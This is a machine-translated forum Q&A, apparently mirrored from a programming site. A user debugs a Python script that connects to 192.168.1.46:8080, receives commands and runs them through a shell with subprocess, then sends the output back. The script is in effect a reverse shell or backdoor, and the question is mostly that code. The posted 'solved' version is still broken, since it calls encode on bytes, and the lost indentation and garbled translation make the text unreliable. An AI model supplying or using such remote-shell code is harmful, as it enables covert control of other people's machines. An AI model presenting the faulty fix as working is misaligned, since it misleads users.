属性错误:"字节"对象在 Python 套接字库上没有属性"读取"



我正试图在另一台带套接字的电脑上执行子流程。

import socket
import subprocess
def command_execution(command_exec):
return subprocess.check_output(command_exec, shell=True)

ip, port = "192.168.1.46", 8080
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((ip, port))
connection.send(b"Conncetion OK !n")
command = connection.recv(1024)
copt = command_execution(command)
connection.send(copt)
connection.close()

正在获取此错误-->nextchar=self.instream.read(1(AttributeError:"bytes"对象没有属性"read">

我对那个属性错误感到不安。我该怎么解决这个问题?它在没有子流程的情况下工作

已解决。

import socket
import subprocess

def command_execution(command):
return subprocess.check_output(command, shell=True)

ip, port = "192.168.1.46", 8080
connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection.connect((ip, port))
connection.send(b"Conncetion OK !n")
command = connection.recv(1024)
command_output = command_execution(command.decode("ascii"))
connection.send(command_output.encode('ascii'))
connection.close()

问题是,connection.recv((采用二进制数据,但子进程需要字符串数据。因此,首先将connection.rev((解码为字符串,将其传递给subprocess_checkoutput函数,然后获取输出将其转换回二进制,这样connection.send((就可以工作了。

相关内容

最新更新